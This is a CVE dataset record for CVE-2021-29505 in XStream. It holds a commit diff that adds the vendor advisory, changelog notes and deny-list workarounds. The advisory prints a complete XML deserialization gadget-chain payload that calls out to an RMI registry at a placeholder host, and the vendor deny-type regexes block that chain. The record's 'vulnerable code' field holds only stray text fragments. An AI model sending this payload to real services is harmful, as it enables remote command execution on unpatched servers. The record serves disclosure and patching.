CVE-2021-29505: Deserialization of Untrusted Data (CWE-502)
value: XStream is software for serializing Java objects to XML and back again. A vulnerability in XStream versions prior to 1.4.17 may allow a remote attacker has sufficient rights to execute commands of the host only by manipulating the processed input stream. No user who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types is affected. The vulnerability is patched in version 1.4.17.
CWE description: The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid.
CVSS v3 base score: 8.8
Published: 2021-05-28T21:15Z
Repository: https://github.com/x-stream/xstream
Language: HTML
Files changed: xstream-distribution/src/content/CVE-2021-29505.html, xstream-distribution/src/content/changes.html, xstream-distribution/src/content/security.html, xstream-distribution/src/content/website.xml
Commit date: 2021-05-15 00:13:53 +0200
Commit message: Add description of CVE-2021-29505 and bug fix.

Diff: diff --git a/xstream-distribution/src/content/CVE-2021-29505.html b/xstream-distribution/src/content/CVE-2021-29505.html
new file mode 100644
index 00000000..378eab8b
--- /dev/null
+++ b/xstream-distribution/src/content/CVE-2021-29505.html
@@ -0,0 +1,119 @@
+<html>
+<!--
+ Copyright (C) 2021 XStream committers.
+ All rights reserved.
+ 
+ The software in this package is published under the terms of the BSD
+ style license a copy of which has been included with this distribution in
+ the LICENSE.txt file.
+ 
+ Created on 8. May 2021 by Joerg Schaible
+ -->
+  <head>
+    <title>CVE-2021-29505</title>
+  </head>
+  <body>
+
+    <h2 id="vulnerability">Vulnerability</h2>
+    
+    <p>CVE-2021-29505: XStream is vulnerable to a Remote Command Execution attack.</p>
+	
+    <h2 id="affected_versions">Affected Versions</h2>
+    
+	<p>All versions until and including version 1.4.16 are affected, if using the version out of the box. No user is
+	affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security
+	framework</a> with a whitelist limited to the minimal required types.</p>
+
+    <h2 id="description">Description</h2>
+    
+    <p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
+    XStream creates therefore new instances based on these type information.  An attacker can manipulate the processed
+    input stream and replace or inject objects, that result in execution of a local command on the server.</p>
+
+    <h2 id="reproduction">Steps to Reproduce</h2>
+
+	<p>Create a simple PriorityQueue and use XStream to marshal it to XML.  Replace the XML with following snippet and
+	unmarshal it again with XStream:</p>
+<div class="Source XML"><pre>&lt;java.util.PriorityQueue serialization='custom'&gt;
+  &lt;unserializable-parents/&gt;
+  &lt;java.util.PriorityQueue&gt;
+    &lt;default&gt;
+      &lt;size&gt;2&lt;/size&gt;
+    &lt;/default&gt;
+    &lt;int&gt;3&lt;/int&gt;
+    &lt;javax.naming.ldap.Rdn_-RdnEntry&gt;
+      &lt;type&gt;12345&lt;/type&gt;
+      &lt;value class='com.sun.org.apache.xpath.internal.objects.XString'&gt;
+        &lt;m__obj class='string'&gt;com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: &lt;none&gt;&lt;/m__obj&gt;
+      &lt;/value&gt;
+    &lt;/javax.naming.ldap.Rdn_-RdnEntry&gt;
+    &lt;javax.naming.ldap.Rdn_-RdnEntry&gt;
+      &lt;type&gt;12345&lt;/type&gt;
+      &lt;value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'&gt;
+        &lt;message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'&gt;
+          &lt;parsedMessage&gt;true&lt;/parsedMessage&gt;
+          &lt;soapVersion&gt;SOAP_11&lt;/soapVersion&gt;
+          &lt;bodyParts/&gt;
+          &lt;sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'&gt;
+            &lt;attachmentsInitialized&gt;false&lt;/attachmentsInitialized&gt;
+            &lt;multiPart class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'&gt;
+              &lt;soapPart/&gt;
+              &lt;mm&gt;
+                &lt;it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'&gt;
+                  &lt;aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'&gt;
+                    &lt;candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'&gt;
+                      &lt;names&gt;
+                        &lt;string&gt;aa&lt;/string&gt;
+                        &lt;string&gt;aa&lt;/string&gt;
+                      &lt;/names&gt;
+                      &lt;ctx&gt;
+                        &lt;environment/&gt;
+                        &lt;registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'&gt;
+                          &lt;java.rmi.server.RemoteObject&gt;
+                            &lt;string&gt;UnicastRef&lt;/string&gt;
+                            &lt;string&gt;ip2&lt;/string&gt;
+                            &lt;int&gt;1099&lt;/int&gt;
+                            &lt;long&gt;0&lt;/long&gt;
+                            &lt;int&gt;0&lt;/int&gt;
+                            &lt;short&gt;0&lt;/short&gt;
+                            &lt;boolean&gt;false&lt;/boolean&gt;
+                          &lt;/java.rmi.server.RemoteObject&gt;
+                        &lt;/registry&gt;
+                        &lt;host&gt;ip2&lt;/host&gt;
+                        &lt;port&gt;1099&lt;/port&gt;
+                      &lt;/ctx&gt;
+                    &lt;/candidates&gt;
+                  &lt;/aliases&gt;
+                &lt;/it&gt;
+              &lt;/mm&gt;
+            &lt;/multiPart&gt;
+          &lt;/sm&gt;
+        &lt;/message&gt;
+      &lt;/value&gt;
+    &lt;/javax.naming.ldap.Rdn_-RdnEntry&gt;
+  &lt;/java.util.PriorityQueue&gt;
+&lt;/java.util.PriorityQueue&gt;
+</pre></div>
+<div class="Source Java"><pre>XStream xstream = new XStream();
+xstream.fromXML(xml);
+</pre></div>
+
+    <p>As soon as the XML gets unmarshalled, the payload gets executed and the command is executed on the host.</p>
+
+    <p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>
+
+    <h2 id="impact">Impact</h2>
+
+	<p>The vulnerability may allow a remote attacker has sufficient rights to execute commands of the host only by
+	manipulating the processed input stream.</p>
+
+    <h2 id="workarounds">Workarounds</h2>
+
+    <p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p>
+
+    <h2 id="credits">Credits</h2>
+    
+    <p>V3geB1rd, white hat hacker from Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.</p>
+    
+  	</body>
+ </html>
diff --git a/xstream-distribution/src/content/changes.html b/xstream-distribution/src/content/changes.html
index 19a8e217..4cfe0f5a 100644
--- a/xstream-distribution/src/content/changes.html
+++ b/xstream-distribution/src/content/changes.html
@@ -99,15 +99,30 @@
 		<li>ThrowableConverter uses by default now format of SerializableConverter, but can still read old format of
 		1.4.x version.</li>
 		<li>No support for Hibernate 3 collections.</li>
 	</ul>
 
-<!--
 	<h1 id="upcoming-1.4.x">Upcoming 1.4.x maintenance release</h1>
 
 	<p>Not yet released.</p>
--->
+
+	<p class="highlight">This maintenance release addresses the security vulnerability
+	<a href="CVE-2020-26258.html">CVE-2021-29505</a>, when unmarshalling with XStream instances using an uninitialized
+	security framework.</p>
+
+	<h2>Stream compatibility</h2>
+
+	<ul>
+		<li>The following types are now blacklisted by default and the deserialization
+		of XML containing one of the two types will fail.  You will have to enable these types by explicit
+		configuration, if you need them:<br>
+			<ul>
+				<li>any type in the java.rmi.* and sun.rmi.* package hierarchies</li>
+				<li>the individual type com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl</li>
+			</ul>
+		</li>
+	</ul>
 
 	<h1 id="1.4.16">1.4.16</h1>
 
 	<p>Released March 13, 2021.</p>
 
diff --git a/xstream-distribution/src/content/security.html b/xstream-distribution/src/content/security.html
index 1115866e..737961e7 100644
--- a/xstream-distribution/src/content/security.html
+++ b/xstream-distribution/src/content/security.html
@@ -42,15 +42,24 @@
 
     <p>Over the years, several of these attacks have been reported and documented in the Common Vulnerability and
     Exposure (CVE) system managed by the <a href="http://www.mitre.org/">Mitre Corporation</a>. Following a list of the
     reported vulnerabilities for the different versions:</p>
     
-    <table summary="Table of reported vulnerabilities daocumented as CVE">
+    <table summary="Table of reported vulnerabilities documented as CVE">
       <tr>
         <th>CVE</th>
         <th>Description</th>
       </tr>
+      <tr>
+        <th>Version 1.4.16</th>
+        <td></td>
+        <td></td>
+      </tr>
+      <tr>
+        <th><a href="CVE-2021-29505.html">CVE-2021-29505</a></th>
+        <td>XStream is vulnerable to a Remote Command Execution attack.</td>
+      </tr>
       <tr>
         <th>Version 1.4.15</th>
         <td></td>
         <td></td>
       </tr>
@@ -391,20 +400,23 @@ xstream.allowTypesByWildcard(Blog.class.getPackage().getName()+".*");
     <p>As recommended, use XStream's security framework to implement a whitelist for the allowed types. This is
     possible since XStream 1.4.7 and the default since XStream 1.5.0:</p>
 <div class="Source Java"><pre>XStream xstream = new XStream();
 // add your allowed types, type hierarchies or packages here
 </pre></div>
-    <p>Users of XStream 1.4.14 who insist to use XStream default blacklist - despite that clear recommendation - can
+    <p>Users of XStream 1.4.16 who insist to use XStream default blacklist - despite that clear recommendation - can
     add these lines to XStream's setup code:</p>
+<div class="Source Java"><pre>xstream.denyTypesByRegExp(new String[]{ ".*\\.Lazy(?:Search)?Enumeration.*", "(?:java|sun)\\.rmi\\..*" });
+</pre></div>
+    <p>Users of XStream 1.4.15 should <strong>additionally</strong> add these lines to the lines from above:</p>
 <div class="Source Java"><pre>xstream.denyTypes(new String[]{ "sun.awt.datatransfer.DataTransferer$IndexOrderComparator", "sun.swing.SwingLazyValue", "com.sun.corba.se.impl.activation.ServerTableEntry", "com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator" });
 xstream.denyTypesByRegExp(new String[]{ ".*\\$ServiceNameIterator", "javafx\\.collections\\.ObservableList\\$.*", ".*\\.bcel\\..*\\.util\\.ClassLoader" });
 xstream.denyTypeHierarchy(java.io.InputStream.class );
 xstream.denyTypeHierarchy(java.nio.channels.Channel.class );
 xstream.denyTypeHierarchy(javax.activation.DataSource.class );
 xstream.denyTypeHierarchy(javax.sql.rowset.BaseRowSet.class );
 </pre></div>
-    <p>Users of XStream 1.4.13 should <strong>additionally</strong> add these two lines to the lines from above:</p>
+    <p>Users of XStream 1.4.14 and 1.4.13 should <strong>additionally</strong> add these two lines to the lines from above:</p>
 <div class="Source Java"><pre>xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter" });
 xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });
 </pre></div>
     <p>Users of XStream 1.4.12 to 1.4.7 who want to use XStream with a blacklist will have to setup such a list from
     scratch:</p>
diff --git a/xstream-distribution/src/content/website.xml b/xstream-distribution/src/content/website.xml
index ed4df177..7254d976 100644
--- a/xstream-distribution/src/content/website.xml
+++ b/xstream-distribution/src/content/website.xml
@@ -72,10 +72,11 @@
         <page>CVE-2021-21347.html</page>
         <page>CVE-2021-21348.html</page>
         <page>CVE-2021-21349.html</page>
         <page>CVE-2021-21350.html</page>
         <page>CVE-2021-21351.html</page>
+        <page>CVE-2021-29505.html</page>
         <page>CVE-2020-26217.html</page>
         <page>CVE-2020-26258.html</page>
         <page>CVE-2020-26259.html</page>
         <page>CVE-2017-7957.html</page>
         <page>CVE-2016-3674.html</page>

Vulnerable code: <!--
    <table summary="Table of reported vulnerabilities daocumented as CVE">
    <p>Users of XStream 1.4.14 who insist to use XStream default blacklist - despite that clear recommendation - can
    <p>Users of XStream 1.4.13 should <strong>additionally</strong> add these two lines to the lines from above:</p>
Fixed code: <html>
<!--
 Copyright (C) 2021 XStream committers.
 All rights reserved.
 
 The software in this package is published under the terms of the BSD
 style license a copy of which has been included with this distribution in
 the LICENSE.txt file.
 
 Created on 8. May 2021 by Joerg Schaible
 -->
  <head>
    <title>CVE-2021-29505</title>
  </head>
  <body>

    <h2 id="vulnerability">Vulnerability</h2>
    
    <p>CVE-2021-29505: XStream is vulnerable to a Remote Command Execution attack.</p>
	
    <h2 id="affected_versions">Affected Versions</h2>
    
	<p>All versions until and including version 1.4.16 are affected, if using the version out of the box. No user is
	affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security
	framework</a> with a whitelist limited to the minimal required types.</p>

    <h2 id="description">Description</h2>
    
    <p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
    XStream creates therefore new instances based on these type information.  An attacker can manipulate the processed
    input stream and replace or inject objects, that result in execution of a local command on the server.</p>

    <h2 id="reproduction">Steps to Reproduce</h2>

	<p>Create a simple PriorityQueue and use XStream to marshal it to XML.  Replace the XML with following snippet and
	unmarshal it again with XStream:</p>
<div class="Source XML"><pre>&lt;java.util.PriorityQueue serialization='custom'&gt;
  &lt;unserializable-parents/&gt;
  &lt;java.util.PriorityQueue&gt;
    &lt;default&gt;
      &lt;size&gt;2&lt;/size&gt;
    &lt;/default&gt;
    &lt;int&gt;3&lt;/int&gt;
    &lt;javax.naming.ldap.Rdn_-RdnEntry&gt;
      &lt;type&gt;12345&lt;/type&gt;
      &lt;value class='com.sun.org.apache.xpath.internal.objects.XString'&gt;
        &lt;m__obj class='string'&gt;com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: &lt;none&gt;&lt;/m__obj&gt;
      &lt;/value&gt;
    &lt;/javax.naming.ldap.Rdn_-RdnEntry&gt;
    &lt;javax.naming.ldap.Rdn_-RdnEntry&gt;
      &lt;type&gt;12345&lt;/type&gt;
      &lt;value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'&gt;
        &lt;message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'&gt;
          &lt;parsedMessage&gt;true&lt;/parsedMessage&gt;
          &lt;soapVersion&gt;SOAP_11&lt;/soapVersion&gt;
          &lt;bodyParts/&gt;
          &lt;sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'&gt;
            &lt;attachmentsInitialized&gt;false&lt;/attachmentsInitialized&gt;
            &lt;multiPart class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'&gt;
              &lt;soapPart/&gt;
              &lt;mm&gt;
                &lt;it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'&gt;
                  &lt;aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'&gt;
                    &lt;candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'&gt;
                      &lt;names&gt;
                        &lt;string&gt;aa&lt;/string&gt;
                        &lt;string&gt;aa&lt;/string&gt;
                      &lt;/names&gt;
                      &lt;ctx&gt;
                        &lt;environment/&gt;
                        &lt;registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'&gt;
                          &lt;java.rmi.server.RemoteObject&gt;
                            &lt;string&gt;UnicastRef&lt;/string&gt;
                            &lt;string&gt;ip2&lt;/string&gt;
                            &lt;int&gt;1099&lt;/int&gt;
                            &lt;long&gt;0&lt;/long&gt;
                            &lt;int&gt;0&lt;/int&gt;
                            &lt;short&gt;0&lt;/short&gt;
                            &lt;boolean&gt;false&lt;/boolean&gt;
                          &lt;/java.rmi.server.RemoteObject&gt;
                        &lt;/registry&gt;
                        &lt;host&gt;ip2&lt;/host&gt;
                        &lt;port&gt;1099&lt;/port&gt;
                      &lt;/ctx&gt;
                    &lt;/candidates&gt;
                  &lt;/aliases&gt;
                &lt;/it&gt;
              &lt;/mm&gt;
            &lt;/multiPart&gt;
          &lt;/sm&gt;
        &lt;/message&gt;
      &lt;/value&gt;
    &lt;/javax.naming.ldap.Rdn_-RdnEntry&gt;
  &lt;/java.util.PriorityQueue&gt;
&lt;/java.util.PriorityQueue&gt;
</pre></div>
<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.fromXML(xml);
</pre></div>

    <p>As soon as the XML gets unmarshalled, the payload gets executed and the command is executed on the host.</p>

    <p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>

    <h2 id="impact">Impact</h2>

	<p>The vulnerability may allow a remote attacker has sufficient rights to execute commands of the host only by
	manipulating the processed input stream.</p>

    <h2 id="workarounds">Workarounds</h2>

    <p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p>

    <h2 id="credits">Credits</h2>
    
    <p>V3geB1rd, white hat hacker from Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.</p>
    
  	</body>
 </html>

	<p class="highlight">This maintenance release addresses the security vulnerability
	<a href="CVE-2020-26258.html">CVE-2021-29505</a>, when unmarshalling with XStream instances using an uninitialized
	security framework.</p>

	<h2>Stream compatibility</h2>

	<ul>
		<li>The following types are now blacklisted by default and the deserialization
		of XML containing one of the two types will fail.  You will have to enable these types by explicit
		configuration, if you need them:<br>
			<ul>
				<li>any type in the java.rmi.* and sun.rmi.* package hierarchies</li>
				<li>the individual type com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl</li>
			</ul>
		</li>
	</ul>
    <table summary="Table of reported vulnerabilities documented as CVE">
      <tr>
        <th>Version 1.4.16</th>
        <td></td>
        <td></td>
      </tr>
      <tr>
        <th><a href="CVE-2021-29505.html">CVE-2021-29505</a></th>
        <td>XStream is vulnerable to a Remote Command Execution attack.</td>
      </tr>
    <p>Users of XStream 1.4.16 who insist to use XStream default blacklist - despite that clear recommendation - can
<div class="Source Java"><pre>xstream.denyTypesByRegExp(new String[]{ ".*\\.Lazy(?:Search)?Enumeration.*", "(?:java|sun)\\.rmi\\..*" });
</pre></div>
    <p>Users of XStream 1.4.15 should <strong>additionally</strong> add these lines to the lines from above:</p>
    <p>Users of XStream 1.4.14 and 1.4.13 should <strong>additionally</strong> add these two lines to the lines from above:</p>
        <page>CVE-2021-29505.html</page>